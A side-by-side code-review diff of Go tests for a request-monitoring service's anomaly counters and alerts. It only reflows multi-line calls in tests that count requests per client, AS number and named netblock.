if want := []string{allowed, exempt, client, denied}; !slices.Equal( if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
got,
want,
) {
t.Errorf("alerts for the clients %v, want %v", got, want) t.Errorf("alerts for the clients %v, want %v", got, want)
} }
} }
@@ -217,10 +210,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
t.Parallel() t.Parallel()
// With every threshold off, nothing is counted. // With every threshold off, nothing is counted.
s, server, queue := startWithLookups( s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
t,
map[string]string{watchNets: office},
)
for range 5 { for range 5 {
s.uploadFrom(client) s.uploadFrom(client)
@@ -316,10 +306,7 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
got[counter.ASN] = counter.Minute.Current got[counter.ASN] = counter.Minute.Current
} }
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal( if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by AS number %v, want %v", got, want) t.Errorf("requests by AS number %v, want %v", got, want)
} }
} }
@@ -337,9 +324,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
release() release()
waitUntil(func() bool { waitUntil(func() bool {
_, kept := server.Load().GeoJS.Kept( _, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
netip.MustParsePrefix(fromDE + "/32"),
)
return kept return kept
}) })
@@ -357,10 +342,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// number it gives. // number it gives.
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" { if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
t.Errorf( t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
"log line has AS number %q, want none: the request waited",
line.ASN,
)
} }
want := []anomaly.Counter{{ want := []anomaly.Counter{{
@@ -375,15 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server, _ := startAppWithAlerts( s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, anomalyWatch + requestsPerMinute: aLot,
readAndAnswer, watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
map[string]string{ })
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25",
},
)
// client is in office and in wide. // client is in office and in wide.
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} { for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -395,10 +372,7 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
got[counter.Name] = counter.Minute.Current got[counter.Name] = counter.Minute.Current
} }
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal( if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by named netblock %v, want %v", got, want) t.Errorf("requests by named netblock %v, want %v", got, want)
} }
} }
Loaded 100 of 154 files, more files were not shown because too many files have changed in this diff. Show more